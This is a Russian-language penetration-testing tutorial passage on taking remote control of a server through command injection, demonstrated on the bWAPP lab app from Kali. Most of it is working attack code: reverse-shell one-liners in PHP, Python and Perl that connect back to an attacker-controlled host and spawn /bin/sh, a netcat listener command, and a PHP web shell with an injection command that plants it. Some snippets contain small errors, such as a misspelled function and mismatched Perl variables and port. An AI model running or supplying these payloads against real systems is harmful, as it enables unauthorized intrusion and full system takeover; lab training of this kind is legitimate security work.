7.2. Удаленный контроль над системой

При наличии уязвимости Command Injection злоумышленник может установить удаленный контроль над уязвимой системой. Взлом системы состоит из нескольких шагов:

  • Создание бэкдора исходя из того на каком языке написано приложение и на какой операционной системе оно работает.
  • Сохранение файла на веб сервере, который контролируется хакером.
  • Скачивание файла из сервера хакера на уязвимый сервер. Команда на скачивание вводится в самом уязвимом приложении.
  • В уязвимом приложении вводится команда, чтобы файл стал исполняемым (не требуется для Windows).
  • В зависимости от бэкдора здесь возможны 2 варианта. Бэкдор может сам подключится к компьютеру злоумышленника. Для этого ему необходимо дать команду на подключение и с момента подключения хакер сможет посылать команды и управлять удаленной системой. Второй вариант бэкдора подразумевает создание веб шелла, то есть управление удаленной системой осуществляется через браузер.

В этой статье мы рассмотрим оба варианта.

 

Удаленный терминал доступа через системный вызов в PHP

Некоторые интерпретаторы позволяют осуществлять запуск системных утилит встроенными средствами. То есть нам не нужно создавать и загружать бэкдор на сервер, мы можем воспользоваться встроенными средствами. Например, PHP обладает несколькими функциями, которые могут запускать системные команды. Ниже дан список таких функций:

  • exec()
  • hell_exec()
  • system()
  • passthru()
  • popen()

Задействуя одну из указанных функций, злоумышленник может создать удаленный терминал доступа или оболочку доступа (remote shell), через которую способен управлять уязвимой системой.

Для начала запустим слушатель на Kali, который будет принимать входящий запрос на установление соединения из уязвимой системы. В качестве слушателя будем использовать программу Netcat, которая установлена на всех дистрибутивах Kali. Откройте терминал и введите команду:

nc -lnvp 9000

Программа будет ждать подключения через порт 9000. В самой уязвимой машине (bWAPP) выполним команду на подключение, используя одну из перечисленных функций. Ниже даны примеры таких команд:

php -r '$sock=fsockopen("IP_Kali",9000);exec("/bin/sh -i <&3 >&3 2>&3");'php -r '$sock=fsockopen("IP_Kali",9000);shell_exec("/bin/sh -i <&3 >&3 2>&3");'php -r '$sock=fsockopen("IP_Kali",9000);system("/bin/sh -i <&3 >&3 2>&3");'php -r '$sock=fsockopen("IP_Kali",9000);passthru("/bin/sh -i <&3 >&3 2>&3");'php -r '$sock=fsockopen("IP_Kali",9000);popen("/bin/sh -i <&3 >&3 2>&3", "r");'

Воспользуемся фукцией system(), итоговая команда будет выглядеть так:

10.0.2.5; php -r '$sock=fsockopen("10.0.2.5",9000);system("/bin/sh -i <&3 >&3 2>&3");'

После ввода команды переключимся на Kali и вот что у нас имеется:

Установлено обратное соединение эксплойта с Kali

Соединение было установлено и теперь мы можем вводить практически любые команды:

пример отправки команд через командную оболочку

Хоть PHP и является популярным языком веб программирования и огромное количество сайтов создано на его основе, тем не менее существуют сайты, созданные на базе других языков. Рассмотрим, как создать терминал доступа с помощью других интерпретаторов.

 

Удаленный терминал доступа для Python

Если приложение написано на Python либо Python установлен на уязвимом сервере, то злоумышленник может создать простой скрипт, который сможет подключиться к серверу хакера и создать терминал доступа. Ниже дан пример такого скрипта:

import socketimport subprocessimport oss=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("IP_Kali",9000))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"]);

Сама команда будет выглядеть так:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP_Kali",9000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

На Kali достаточно запустить слушатель Netcat на порту 9000.

 

Удаленный терминал доступа для Perl

Аналогично предыдущему примеру мы создадим небольшой скрипт на Perl. Вот как выглядет код:

use Socket;$ip="IP_Kali";$port=9000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($port,inet_aton($ip)))) {     open(STDIN,">&S");     open(STDOUT,">&S");     open(STDERR,">&S");     exec("/bin/sh -i");}

Команда запуска такого скрипта выглядит так:

perl -e 'use Socket;$i="IP_Kali";$p=9090;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($port,inet_aton($ip)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

 

Создание Web Shell

Web Shell представляет собой способ удаленного контроля/доступа через браузер. Принцип очень простой. Создается обычный скрипт на языке приложения, а затем через GET параметры передаются команды для исполнения. Скрипт извлекает команды из GET параметров и передает их системе. Результат работы отображается в браузере.

Создадим простой скрипт на PHP:

<?php passthru(\$_GET['cmd']); ?>

 Данный скрипт необходимо сохранить на уязвимом сервере. Для этого выполним следующую команду:

echo "<pre><?php passthru(\$_GET['cmd']); ?></pre>">webshell.php

После того, как файл создан и сохранен на сервере, мы можем запустить его из браузера. Так как я использовал приложение bWAPP, то файл сохранился в каталоге приложения и доступен по адресу http://10.0.2.5/bWAPP/webshell.php?cmd=команды:

Управление уязвимой системой через веб шелл

Существуют и другие способы получения удаленного доступа, используя уязвимость Command Injection.